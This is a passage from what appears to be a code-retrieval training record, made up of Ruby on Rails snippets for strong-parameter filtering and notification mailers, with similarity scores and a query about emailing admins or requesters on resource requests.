end", "def paramunold_params\n params.require(:paramunold).permit!\n end", "def param_params\n params.require(:param).permit(:param_category_id, :param_table_id, :name, :english_name, :weighting, :description)\n end", "def quote_params\n params.permit!\n end", "def list_params\n params.permit(:list_name)\n end", "def allowed_params(parameters)\n parameters.select do |name, values|\n values.location != \"path\"\n end\n end", "def all_params; end", "def permitted_resource_params\n params[resource.object_name].present? ? params.require(resource.object_name).permit! : ActionController::Parameters.new\n end", "def source_params\n params.require(:source).permit(all_allowed_params)\n end", "def user_params\n end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def get_allowed_parameters\n return _get_specific_action_config(:allowed_action_parameters, :allowed_parameters)&.map(&:to_s)\n end", "def permitted_params\n @wfd_edit_parameters\n end", "def user_params\r\n end", "def param_whitelist\n whitelist = [\n :comment,\n :old_progress, :new_progress,\n :metric_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:metric_id)\n end\n \n whitelist\n end", "def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend", "def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end", "def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend", "def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end", "def get_params\n\t\t\n\t\treturn ActionController::Parameters.new(self.attributes).permit(:first_name, :last_name, :email, :provider)\n\n\tend", "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end", "def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end", "def valid_parameters\n sort_symbols(@interface.allowed_parameters)\n end", "def params_permit\n params.permit(:id)\n end", "def allowed_params\n params.require(:allowed).permit(:email)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def filter_params\n params.permit(*resource_filter_permitted_params)\n end", "def community_params\n params.permit(:profile_image, :name, :description, :privacy_type, :viewed_by, {tags: []}, {features: []}, {admins: []}, :members, :location, :beacon, :creator, :ambassadors, :current_events, :past_events, :feed, :category, :address, :allow_member_post_to_feed, :allow_member_post_to_events)\n end", "def specialty_params\n\t\tparams.require(:specialty).permit(*Specialty::DEFAULT_ACCESSIBLE_ATTRIBUTES)\n\tend", "def authorize_params\n super.tap do |params|\n %w[display scope auth_type].each do |v|\n if request.params[v]\n params[v.to_sym] = request.params[v]\n end\n end\n end\n end", "def feature_params_filter\n params.require(:feature).permit(:name, :cat, :lower, :upper, :opts, :category, :description, :company, :active, :unit, :icon)\n end", "def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end", "def argument_params\n params.require(:argument).permit(:name)\n end", "def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end", "def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end", "def property_params\n params.permit(:name, :is_available, :is_approved, :owner_id)\n end", "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end", "def sponsor_params\n params.require(:sponsor).permit(WHITE_LIST)\n end", "def whitelist_person_params\n params.require(:person).permit(:family, :pre_title, :given_name, :dates, :post_title, :epithet, :dates_of_office, same_as: [], related_authority: [], altlabel: [], note: []) # Note - arrays need to go at the end or an error occurs!\n end", "def parameters\n nil\n end", "def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end", "def sequence_param_whitelist\n default_param_whitelist << \"show_index\"\n end", "def resource_filter_permitted_params\n raise(NotImplementedError, 'resource_filter_permitted_params method not implemented')\n end", "def normal_params\n reject{|param, val| param_definitions[param][:internal] }\n end", "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end", "def special_device_list_params\n params.require(:special_device_list).permit(:name)\n end", "def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end" ]
[ "0.7121987", "0.70541996", "0.69483954", "0.6902367", "0.6733912", "0.6717838", "0.6687021", "0.6676254", "0.66612333", "0.6555296", "0.6527056", "0.6456324", "0.6450841", "0.6450127", "0.6447226", "0.6434961", "0.64121825", "0.64121825", "0.63913447", "0.63804525", "0.63804525", "0.6373396", "0.6360051", "0.6355191", "0.62856233", "0.627813", "0.62451434", "0.6228103", "0.6224965", "0.6222941", "0.6210244", "0.62077755", "0.61762565", "0.61711127", "0.6168448", "0.6160164", "0.61446255", "0.6134175", "0.6120522", "0.6106709", "0.60981655", "0.6076113", "0.60534036", "0.60410434", "0.6034582", "0.6029977", "0.6019861", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.60184896", "0.60157263", "0.6005857", "0.6003803", "0.60012573", "0.59955895", "0.5994598", "0.5993604", "0.5983824", "0.5983166", "0.5977431", "0.597591", "0.5968824", "0.5965953", "0.59647584", "0.59647584", "0.59566855", "0.59506303", "0.5950375", "0.59485626", "0.59440875", "0.5930872", "0.5930206", "0.5925668", "0.59235454", "0.5917905", "0.59164816", "0.5913821", "0.59128743", "0.5906617", "0.59053683", "0.59052664", "0.5901591", "0.58987755", "0.5897456", "0.58970183", "0.58942604" ]
0.0
-1
=begin logic for sending Emails. if current_user.id matches the resource_requests/user_id then he is the project manager and the email should go to admin. else it will go to project managers from current_user.id parameters need to be passed current_user object and resource_request object. =end
def ResourceRequestsAndReply(current_user, resource_request, comments) @current_user = current_user @resource_request = resource_request @comments = comments if ['submitted'].include?(@resource_request.status) # @admin = true @message = "Hi, <br/> #{@current_user.full_name()} has requested resource for #{@resource_request.project.name} <br/> #{@comments.comment} <br/>Regards <br/> #{@comments.user.full_name()} <br/> #{@comments.user.email}".html_safe admin_emails = User.where(status: 'active', role_id: 1).select(:email) admin_emails.each do |admin| mail to: admin.email, subject: "[SOM] Resource requested by #{@current_user.full_name()} for #{@resource_request.project.name}", cc: Settings.developer_mails end else @message = "Hi, <br/> your requested resource for #{@resource_request.project.name} has been #{@resource_request.status} <br/> #{@comments.comment} <br/>Regards <br/> #{@comments.user.full_name()} <br/> #{@comments.user.email}".html_safe mail to: @current_user.email, subject: "[SOM] Resource request has been #{@resource_request.status}", cc: Settings.developer_mails end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def admin_request # :prefetch: :norobots:\n sender = @user\n pass_query_params\n if @project = find_or_goto_index(Project, params[:id].to_s)\n if request.method == :post\n subject = params[:email][:subject]\n content = params[:email][:content]\n for receiver in @project.admin_group.users\n AccountMailer.deliver_admin_request(sender, receiver, @project,\n subject, content)\n end\n flash_notice(:admin_request_success.t(:title => @project.title))\n redirect_to(:action => 'show_project', :id => @project.id,\n :params => query_params)\n end\n end\n end", "def notify_resource_owner(request, user)\n @request = request\n @user = user\n @url = request_url(@request)\n \n mail :to => @user.email\n end", "def project_approval(user)\n @user = user\n mail to: @user.email, subject: \"Approval of requested project at Freelancer.com\"\n end", "def send_mail_to_associates\n user = self.matter_people.assignee\n if(@is_changed && user && User.current_user!=user)\n send_notification_to_responsible(user,self,User.current_user)\n @is_changed = false\n\n true\n end\n end", "def update\n\n old_assigned_to_user = @request.assigned_to_user.to_s \n new_assigned_to_user = params[:request][:assigned_to_user]\n\n respond_to do |format|\n\n params[:request][:issue_ids] ||= []\n if @request.update(request_params)\n\n # save new comments\n if params[:request][:comment] != nil\n comment = @request.comments.create\n comment.comment = params[:request][:comment]\n comment.user_id = current_user.id\n comment.save\n # make sure updated_at gets updated\n @request.touch\n end\n \n if current_user.worker?\n if params[:status] == \"approved\"\n @request.approved!\n elsif params[:status] == \"completed\"\n @request.completed!\n @request.requester!\n end \n elsif current_user.approver?\n if params[:status] == \"approved\"\n @request.approved!\n @request.worker!\n elsif params[:status] == \"disapproved\"\n @request.disapproved!\n @request.requester!\n end \n\n else\n add_issues_to_request \n end\n\n # send email notification when assigned_to_user field has changed\n if old_assigned_to_user != new_assigned_to_user && !new_assigned_to_user.nil?\n RequestMailer.assignee_email(@request).deliver_later\n end\n\n\n format.html { redirect_to @request, notice: 'Request was successfully updated.' }\n format.json { render :show, status: :ok, location: @request }\n else\n format.html { render :edit }\n format.json { render json: @request.errors, status: :unprocessable_entity }\n end\n end\n end", "def edit_requirement_tracker\n find_user\n if !@user.nil?\n\n status=@req.status\n\n if ((status!=\"Approved\" and params[:requirement][:status]==\"Approved\" and (@user.privilige==\"Admin\" or @user.privilige==\"Approve\" or @user.privilige==\"Read/Write/Approve\")) or (status!=\"Approved\" and params[:requirement][:status]!=\"Approved\" and (@user.privilige!=\"Read\")) or (status==\"Approved\" and @user.privilige==\"Admin\") or (status==\"Approved\" and params[:requirement][:status]==\"Approved\" and !params[:requirement][:delivered].empty? and @user.privilige!=\"Read\"))\n if @req.update_attributes(params[:requirement])\n if (!params[:requirement][:status].nil?)\n\n if (status!=\"Approved\" and params[:requirement][:status]==\"Approved\")\n\n if !current_user.nil?\n first_name=@project_req.find_user_first_name(current_user.id)\n Requirement.notification_approved(current_user.id, @req.project_id, @req, first_name)\n else\n first_name=@project_req.find_member_first_name(@user.id)\n Requirement.notification_approved(@user.user_id, @req.project_id, @req, first_name)\n end\n elsif (status!=\"For Review\" and params[:requirement][:status]==\"For Review\")\n\n if !current_user.nil?\n first_name=@req.find_user_first_name(current_user.id)\n Requirement.notification_reviewed(current_user.id, @req.project_id, @req, first_name)\n else\n first_name=@req.find_member_first_name(@user.id)\n Requirement.notification_reviewed(@user.user_id, @req.project_id, @req, first_name)\n end\n elsif (status==\"Approved\" and params[:requirement][:status]!=\"Approved\")\n\n if !current_user.nil?\n first_name=@req.find_user_first_name(current_user.id)\n Requirement.notification_no_approved(current_user.id, @req.project_id, @req, first_name)\n else\n first_name=@req.find_member_first_name(@user.id)\n Requirement.notification_no_approved(@user.user_id, @req.project_id, @req, first_name)\n end\n end\n end\n\n end\n @attr=Attribute.find_by_project_id(session[:project_id])\n if !session[:tracker_id].nil?\n @tracker=Tracker.find(session[:tracker_id])\n redirect_to show_tracker_req_url(@tracker.id)\n else\n redirect_to trackers_path\n end\n\n else\n\n\n flash[:notice]= t(:requirement_edit_message_with_out_permisson)\n redirect_to :back\n end\n else\n redirect_to sign_in_url\n end\n end", "def edit\n\n status=@req.status\n find_user\n if !@user.nil?\n if ((status!=\"Approved\" and params[:requirement][:status]==\"Approved\" and (@user.privilige==\"Admin\" or @user.privilige==\"Approve\" or @user.privilige==\"Read/Write/Approve\")) or (status!=\"Approved\" and params[:requirement][:status]!=\"Approved\" and (@user.privilige==\"Admin\" or @user.privilige==\"Read/Write\" or @user.privilige==\"Read/Write/Approve\" or @user.privilige==\"Approve\")) or (status==\"Approved\" and @user.privilige==\"Admin\")or (status==\"Approved\" and params[:requirement][:status]==\"Approved\" and !params[:requirement][:delivered].empty? and @user.privilige!=\"Read\"))\n if @req.update_attributes(params[:requirement])\n if (!params[:requirement][:status].nil?)\n if (status!=\"Approved\" and params[:requirement][:status]==\"Approved\")\n\n if !current_user.nil?\n first_name=@req.find_user_first_name(current_user.id)\n Requirement.notification_approved(current_user.id, @req.project_id, @req, first_name)\n else\n first_name=@req.find_member_first_name(@user.id)\n Requirement.notification_approved(@user.user_id, @req.project_id, @req, first_name)\n end\n elsif (status!=\"For Review\" and params[:requirement][:status]==\"For Review\")\n if !current_user.nil?\n first_name=@req.find_user_first_name(current_user.id)\n Requirement.notification_reviewed(current_user.id, @req.project_id, @req, first_name)\n else\n first_name=@req.find_member_first_name(@user.id)\n Requirement.notification_reviewed(@user.user_id, @req.project_id, @req, first_name)\n end\n elsif (status==\"Approved\" and params[:requirement][:status]!=\"Approved\")\n if !current_user.nil?\n first_name=@req.find_user_first_name(current_user.id)\n Requirement.notification_no_approved(current_user.id, @req.project_id, @req, first_name)\n else\n first_name=@req.find_member_first_name(@user.id)\n Requirement.notification_no_approved(@user.user_id, @req.project_id, @req, first_name)\n end\n end\n end\n redirect_to requirements_path\n else\n redirect_to :back\n end\n else\n\n flash[:notice]= t(:requirement_no_approve)\n redirect_to :back\n end\n else\n redirect_to sign_in_url\n end\n end", "def requires_admin(info_request)\n @from = info_request.user.name_and_email\n @recipients = contact_from_name_and_email\n @subject = \"FOI response requires admin - \" + info_request.title\n url = main_url(request_url(info_request))\n admin_url = request_admin_url(info_request)\n @body = {:info_request => info_request, :url => url, :admin_url => admin_url }\n end", "def edit_requirement_use\n find_user\n if !@user.nil?\n status=@req.status\n if ((status!=\"Approved\" and params[:requirement][:status]==\"Approved\" and (@user.privilige==\"Admin\" or @user.privilige==\"Approve\" or @user.privilige==\"Read/Write/Approve\")) or (status!=\"Approved\" and params[:requirement][:status]!=\"Approved\" and (@user.privilige!=\"Read\")) or (status==\"Approved\" and @user.privilige==\"Admin\")or (status==\"Approved\" and params[:requirement][:status]==\"Approved\" and !params[:requirement][:delivered].empty? and @user.privilige!=\"Read\"))\n if @req.update_attributes(params[:requirement])\n if (!params[:requirement][:status].nil?)\n\n if (status!=\"For Review\" and params[:requirement][:status]==\"For Review\")\n\n if !current_user.nil?\n first_name=@req.find_user_first_name(current_user.id)\n Requirement.notification_approved(current_user.id, @req.project_id, @req, first_name)\n else\n first_name=@req.find_user_first_name(current_member.id)\n Requirement.notification_approved(@user.user_id, @req.project_id, @req, first_name)\n end\n elsif (status!=\"Reviewed\" and params[:requirement][:status]==\"Reviewed\")\n\n if !current_user.nil?\n first_name=@req.find_user_first_name(current_user.id)\n Requirement.notification_reviewed(current_user.id, @req.project_id, @req, first_name)\n else\n first_name=@req.find_member_first_name(@user.id)\n Requirement.notification_reviewed(@user.user_id, @req.project_id, @req, first_name)\n end\n elsif (status==\"Approved\" and params[:requirement][:status]!=\"Approved\")\n\n if !current_user.nil?\n first_name=@req.find_user_first_name(current_user.id)\n Requirement.notification_no_approved(current_user.id, @req.project_id, @req, first_name)\n else\n first_name=@req.find_member_first_name(@user.id)\n Requirement.notification_no_approved(@user.user_id, @req.project_id, @req, first_name)\n end\n end\n end\n\n end\n assign_project\n @attr=Attribute.find_by_project_id(session[:project_id])\n if !session[:use_case_id].nil?\n redirect_to show_requirements_url(@use_case.id)\n else\n redirect_to use_cases_path\n end\n\n else\n\n\n flash[:notice]= t(:requirement_edit_message_with_out_permisson)\n redirect_to :back\n end\n else\n redirect_to sign_in_url\n end\n end", "def send_admin_mail\n AdministratorMailer.new_user_waiting_for_approval(self).deliver_now\n end", "def request_feedback(user)\n Plan.transaction do\n begin\n val = Role.access_values_for(:reviewer, :commenter).min\n self.feedback_requested = true\n \n # Share the plan with each org admin as the reviewer role\n admins = user.org.org_admins\n admins.each do |admin|\n self.roles << Role.new(user: admin, access: val)\n end \n\n if self.save!\n # Send an email confirmation to the owners and co-owners\n owners = User.joins(:roles).where('roles.plan_id =? AND roles.access IN (?)', self.id, Role.access_values_for(:administrator))\n deliver_if(recipients: owners, key: 'users.feedback_requested') do |r|\n UserMailer.feedback_confirmation(r, self, user).deliver_now\n end\n # Send an email to all of the org admins as well as the Org's administrator email\n if user.org.contact_email.present? && !admins.collect{ |u| u.email }.include?(user.org.contact_email)\n admins << User.new(email: user.org.contact_email, firstname: user.org.contact_name)\n end\n deliver_if(recipients: admins, key: 'admins.feedback_requested') do |r|\n UserMailer.feedback_notification(r, self, user).deliver_now\n end\n true\n else\n false\n end\n rescue Exception => e\n Rails.logger.error e\n false\n end\n end\n end", "def send_mail_to_associates\n unless self.matter_people.blank?\n user = self.matter_people.assignee\n if(@is_changed && user && User.current_user!=user)\n send_notification_to_responsible(user,self,User.current_user)\n @is_changed = false\n\n true\n end\n end\n end", "def role_request_approved(instance_user)\n return if instance_user.normal?\n\n @instance_user = instance_user\n @recipient = instance_user.user\n\n ActsAsTenant.without_tenant do\n @instance = instance_user.instance\n end\n\n I18n.with_locale(instance_user.user.locale) do\n mail(to: instance_user.user.email, subject: t('.subject'))\n end\n end", "def schedule_appointment(appointment, which)\n # sendgrid_category \"Sell Request\"\n @appointment = appointment\n if which == 1\n mail to: @appointment.user.email, subject: \"Appointment schedule confirmation\"\n else\n email = \"tripalink.dev@gmail.com\" if !@appointment.expert\n mail to: email, subject: \"Appointment schedule confirmation\"\n end\n end", "def print_corner_estore_request(project, current_user)\n @project = project\n @current_user = current_user\n user_subject = \"Paperback e-Store Request from #{current_user.name} for #{project.book_title}\"\n admin_subject = \"New \" + user_subject\n\n send_email_message('print_corner_estore_request', {}, get_project_recipient_list(@project, send_submitter: true, roles: [:author]), user_subject)\n send_email_message('print_corner_estore_request_admin', {}, admin_print_corner_list, admin_subject)\n end", "def emailrequester(miq_request, appliance, msg)\n $evm.log('info', \"Requester email logic starting\")\n\n # Get requester object\n requester = miq_request.requester\n\n # Get requester email else set to nil\n requester_email = requester.email || nil\n\n # Get Owner Email else set to nil\n owner_email = miq_request.options[:owner_email] || nil\n $evm.log('info', \"Requester email:<#{requester_email}> Owner Email:<#{owner_email}>\")\n\n # if to is nil then use requester_email or owner_email\n to = nil\n to ||= requester_email # || owner_email\n\n # If to is still nil use to_email_address from model\n to ||= $evm.object['to_email_address']\n\n # Get from_email_address from model unless specified below\n from = nil\n from ||= $evm.object['from_email_address']\n\n # Get signature from model unless specified below\n signature = nil\n signature ||= $evm.object['signature']\n\n # Set email subject\n subject = \"Request ID #{miq_request.id} - Your Automation Request was not Auto-Approved\"\n\n # Build email body\n body = \"Hello, \"\n body += \"<br>#{msg}.\"\n body += \"<br><br>Please review your Request and update or wait for approval from an Administrator.\"\n body += \"<br><br>To view this Request go to: \"\n body += \"<a href='https://#{appliance}/miq_request/show/#{miq_request.id}'>https://#{appliance}/miq_request/show/#{miq_request.id}</a>\"\n body += \"<br><br> Thank you,\"\n body += \"<br> #{signature}\"\n\n # Send email to requester\n $evm.log('info', \"Sending email to <#{to}> from <#{from}> subject: <#{subject}>\")\n $evm.execute(:send_email, to, from, subject, body)\nend", "def match_to_invitation_or_send_email\n if invitation = joinable.membership_invitation_for(user)\n invitation.accept(invitation.user)\n else\n UserMailer.project_membership_request_created_email(joinable.who_can?(:manage), self).deliver\n end\n end", "def approve_request\n puts \"............. AccountmanagerController::approve_request \"+params[:user_id].to_s\n # Change the user type to be a member of SRDR\n user_id = params[:user_id].to_i\n @user = User.find(:first, :conditions=>[\"id = ?\",user_id])\n @user.user_type = \"member\"\n @user.save\n\n # Move the registration status to APPROVED\n @registration = Registar.find(:first, :conditions=>[\"login = ?\",@user.login])\n @registration.status = \"APPROVED\"\n @registration.save\n\n # Add Organization if it does not already exist\n @organization = Organizations.find(:first, :conditions=>[\"name = ?\",@user.organization])\n if @organization.nil? &&\n !@user.organization.nil? &&\n (@user.organization.length > 0)\n @organization = Organizations.new\n @organization.name = params[\"organization\"]\n @organization.contact_name = \"No Contact\"\n @organization.save\n else\n # Set default organization for this user\n @organization = Organizations.new\n @organization.name = \"TMC EPC\"\n @organization.contact_name = \"No Contact\"\n @organization.save\n end\n\n # Now setup the user's organization role\n @userorgroles = UserOrganizationRole.new\n @userorgroles.user_id = @user.id\n @userorgroles.role = \"contributor\"\n @userorgroles.status = \"VALID\"\n @userorgroles.organization_id = @organization.id\n @userorgroles.save\n\n # Send E-mail notification of approval to the user\n #ConfirmationMailer.notifyApproval(@registration).deliver\n\n # Go back to user list - added to SRDR-Dev only\n redirect_to \"/home/user_list\"\n end", "def new_request(request_id)\n @request = Support::PasswordResetRequest.find(request_id).decorate\n\n mail to: \"System Administrator <#{Rails.application.credentials.admin_email}>\",\n from: \"PincannaRx Support <staff-support@pincanna.org>\",\n subject: \"Password Reset Requested\",\n cc: \"#{@request.user.name} <#{@request.user.email}>\"\n end", "def allow_request_membership?(user = User.current_user)\n user.present? &&\n project_administrators.any? &&\n !has_member?(user) &&\n MessageLog.recent_project_membership_requests(user.try(:person),self).empty?\n end", "def notify_new_role_assignment( project, project_role, project_collaborator )\n @project = project\n @project_role = project_role\n @project_collaborator = project_collaborator\n \n \n @pictures = project.pictures.where(:is_deleted => false ).limit(20)\n \n \n mail( :to => @project_collaborator.email, \n :subject => \"pilipoto | Invitation to Project: #{@project.title}\",\n :bcc => [\"rajakuraemas@gmail.com\"],\n :css => [:bootstrap_email] )\n \n \n end", "def show\n @request = Request.find(params[:id])\n if current_user.has_role? :admin \n @request.update_column(:status , \"pending\")\n end\n if (@request.user.id == current_user.id) || (current_user.has_role? :admin)\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @request }\n end\n else\n redirect_to \"/\"\n \n end\n end", "def allow_request_membership?(user = User.current_user)\n user.present? &&\n project_administrators.any? &&\n !has_member?(user) &&\n ProjectMembershipMessageLog.recent_requests(user.try(:person),self).empty?\n end", "def child_task_assignee(parent, params)\n if [:assigned_to_type, :assigned_to_id].all? { |key| params.key?(key) }\n super\n elsif (parent.type == DocketSwitchMailTask.name) && RequestStore[:current_user]\n RequestStore[:current_user]\n else\n ClerkOfTheBoard.singleton\n end\n end", "def tender_new_proposal_for_request_owner_email(the_request, the_proposal)\n @request = the_request\n @proposal = the_proposal\n mail(:to => @request.user.email,\n :subject => \"L'utente #{@proposal.user.login} ha postato una nuova offerta per la tua richiesta numero #{@request.id}\"\n )\n end", "def request_approved(request)\n @request = request\n @email = @request.clid + '@louisiana.edu'\n mail to: @email, subject: \"Room Change Request Approved\"\n end", "def leave_request_cm_email(user, manager)\n @user = user\n mail( :to => @request.user.manager.email,\n :subject => 'New leave request(s)' )\n end", "def allow_request_membership?(user = User.current_user)\n user.present? &&\n project_administrators.any? &&\n !has_member?(user) &&\n MessageLog.recent_project_membership_requests(user.try(:person),self).empty?\n end", "def notify_company_admin(admin, task_submission)\n @submitter = task_submission.submitter\n\n I18n.with_locale(admin.locale) do\n mail(to: admin.email, subject: I18n.t(\"tskz.notifier.requesting_approval_of_tasks\", name: @submitter.full_name), track_opens: true)\n end\n end", "def request_closed_with_winner(the_request, the_proposal, to_owner)\n @request = the_request\n @proposal = the_proposal\n mail(:to => to_owner ? @request.user.email : @proposal.user.email,\n :subject => \"La richiesta #{@request.id} è chiusa\"\n )\n end", "def approval_needed(user)\n @user = user\n\n mail to: ENV['ADMIN_EMAIL'], subject: \"User wants approval for Thumbline Set List\"\n end", "def edit_requirement_file\n find_user\n if !@user.nil?\n status=@req.status\n assign_project\n if ((status!=\"Approved\" and params[:requirement][:status]==\"Approved\" and (@user.privilige==\"Admin\" or @user.privilige==\"Approve\" or @user.privilige==\"Read/Write/Approve\")) or (status!=\"Approved\" and params[:requirement][:status]!=\"Approved\" and (@user.privilige==\"Admin\" or @user.privilige==\"Read/Write\" or @user.privilige==\"Read/Write/Approve\" or @user.privilige==\"Approve\")) or (status==\"Approved\" and @user.privilige==\"Admin\")or (status==\"Approved\" and params[:requirement][:status]==\"Approved\" and !params[:requirement][:delivered].empty? and @user.privilige!=\"Read\"))\n if @req.update_attributes(params[:requirement])\n if (!params[:requirement][:status].nil?)\n\n if (status!=\"Approved\" and params[:requirement][:status]==\"Approved\")\n\n if !current_user.nil?\n first_name=@req.find_user_first_name(current_user.id)\n Requirement.notification_approved(current_user.id, @req.project_id, @req, first_name)\n else\n first_name=@req.find_member_first_name(@user.id)\n Requirement.notification_approved(@user.user_id, @req.project_id, @req, first_name)\n end\n elsif (status!=\"For Review\" and params[:requirement][:status]==\"For Review\")\n\n if !current_user.nil?\n first_name=@req.find_user_first_name(current_user.id)\n Requirement.notification_reviewed(current_user.id, @req.project_id, @req, first_name)\n else\n first_name=@req.find_member_first_name(@user.id)\n Requirement.notification_reviewed(@user.user_id, @req.project_id, @req, first_name)\n end\n elsif (status==\"Approved\" and params[:requirement][:status]!=\"Approved\")\n find_user\n if !current_user.nil?\n first_name=@req.find_user_first_name(current_user.id)\n Requirement.notification_no_approved(current_user.id, @req.project_id, @req, first_name)\n else\n first_name=@req.find_member_first_name(@user.id)\n Requirement.notification_no_approved(@user.user_id, @req.project_id, @req, first_name)\n end\n end\n end\n\n end\n @attr=Attribute.find_by_project_id(session[:project_id])\n if !session[:file_id].nil?\n @file=ProjectFile.find(session[:file_id])\n redirect_to show_file_reqs_url(@file.id)\n else\n redirect_to project_files_path\n end\n\n else\n\n\n flash[:notice]= t(:requirement_edit_message_with_out_permisson)\n redirect_to :back\n end\n else\n redirect_to sign_in_url\n end\n end", "def send_admin_email\n AdminMailer.new_user_waiting_for_approval.deliver\n end", "def invite_via_suggestion(invited_user, project_invite, authorised_by_user)\n return false unless (@invited_user = invited_user).receive_notifications?\n\n @organisation = project_invite.invited_organisation_resource\n @invited_user = project_invite.invited_user\n @authorised_by_user_name = authorised_by_user.first_name.blank? ? 'Someone' : authorised_by_user.first_name\n @authorised_by_user_email = authorised_by_user.email\n \n mail to: @invited_user.email, subject: \"You've been invited to join an organisation on DigitalSocialInnovation\"\n end", "def donations_requested(user)\n setup_email_admin(user)\n @recipients = \"feedback@your-net-works.com\"\n @from = head_encode('\"Kroogi Contributions Request (system)\"'.t) + \" <admin.alert@kroogi.com>\"\n @subject += head_encode(\"Contributions requested by %s\" / user.login)\n @content_type = \"text/html\" \n @body[:url] = \"http://#{APP_CONFIG[:hostname]}/admin/donation_requests\"\n @body[:user] = user\n end", "def emailOnReview(revieweeId)\r\n puts \"we are in email on review\"\r\n @team_member = TeamsUser.find_all_by_team_id(revieweeId)\r\n asstId = Team.find_by_id(revieweeId).parent_id\r\n assignment=Assignment.find_by_id(asstId).name\r\n partialName=\"email_on_review\"\r\n @team_member.each do |team_Member|\r\n # get parameters for sending mail\r\n user=User.find_by_id(team_Member.user_id)\r\n puts \"teammate name = #(user.name)\"\r\n if(user.email_on_review)\r\n email(user.email,\"Review\",ApplicationHelper::get_user_first_name(user),assignment,partialName)\r\n end\r\n end\r\n end", "def submit(ms)\n @name = ms.user.first_name + ' ' + ms.user.last_name\n @link = 'http://' + dashboard_path(ms.id)\n \n ms.user.department.users.select do |u|\n if u.has_role? :dept_chief\n\t mail to: u.email, subject: 'Pontaj trimis spre aprobare'\n end\n end\n end", "def user_enrol_requested_email(enrol_request)\n ActsAsTenant.without_tenant do\n @course = enrol_request.course\n end\n email_enabled = @course.email_enabled(:users, :new_enrol_request)\n\n return unless email_enabled.regular || email_enabled.phantom\n\n @enrol_request = enrol_request\n @recipient = OpenStruct.new(name: t('course.mailer.user_enrol_requested_email.recipients'))\n\n if email_enabled.regular && email_enabled.phantom\n managers = @course.managers.includes(:user)\n elsif email_enabled.regular\n managers = @course.managers.without_phantom_users.includes(:user)\n elsif email_enabled.phantom\n managers = @course.managers.phantom.includes(:user)\n end\n\n managers.find_each do |manager|\n next if manager.email_unsubscriptions.where(course_settings_email_id: email_enabled.id).exists?\n\n I18n.with_locale(manager.user.locale) do\n mail(to: manager.user.email, subject: t('.subject', course: @course.title))\n end\n end\n end", "def customer_delivery_requests\n # get data\n @message = params[:customer_delivery_request][:message]\n \n # add message to DB\n CustomerDeliveryRequest.create(user_id: current_user.id, message: @message)\n \n @admins = [\"carl@drinkknird.com\", \"vince@drinkknird.com\"]\n # now send an email to each Admin to notify of the message\n @admins.each do |admin_email|\n #AdminMailer.admin_customer_delivery_request(admin_email, current_user, @message).deliver_now\n end\n \n redirect_to user_delivery_settings_location_path(\"confirm\")\n end", "def emailapprover(miq_request, appliance, msg)\n $evm.log('info', \"Approver email logic starting\")\n\n # Get requester object\n requester = miq_request.requester\n\n # Get requester email else set to nil\n requester_email = requester.email || nil\n\n # Get Owner Email else set to nil\n owner_email = miq_request.options[:owner_email] || nil\n $evm.log('info', \"Requester email:<#{requester_email}> Owner Email:<#{owner_email}>\")\n\n # Override to email address below or get to_email_address from from model\n to = nil\n to ||= $evm.object['to_email_address']\n\n # Override from_email_address below or get from_email_address from model\n from = nil\n from ||= $evm.object['from_email_address']\n\n # Get signature from model unless specified below\n signature = nil\n signature ||= $evm.object['signature']\n\n # Set email subject\n subject = \"Request ID #{miq_request.id} - Automation request was not approved\"\n\n\n # Build email body\n body = \"Approver, \"\n body += \"<br>An automation request received from #{requester_email} is pending.\"\n body += \"<br><br>#{msg}.\"\n body += \"<br><br>For more information you can go to: <a href='https://#{appliance}/miq_request/show/#{miq_request.id}'>https://#{appliance}/miq_request/show/#{miq_request.id}</a>\"\n body += \"<br><br> Thank 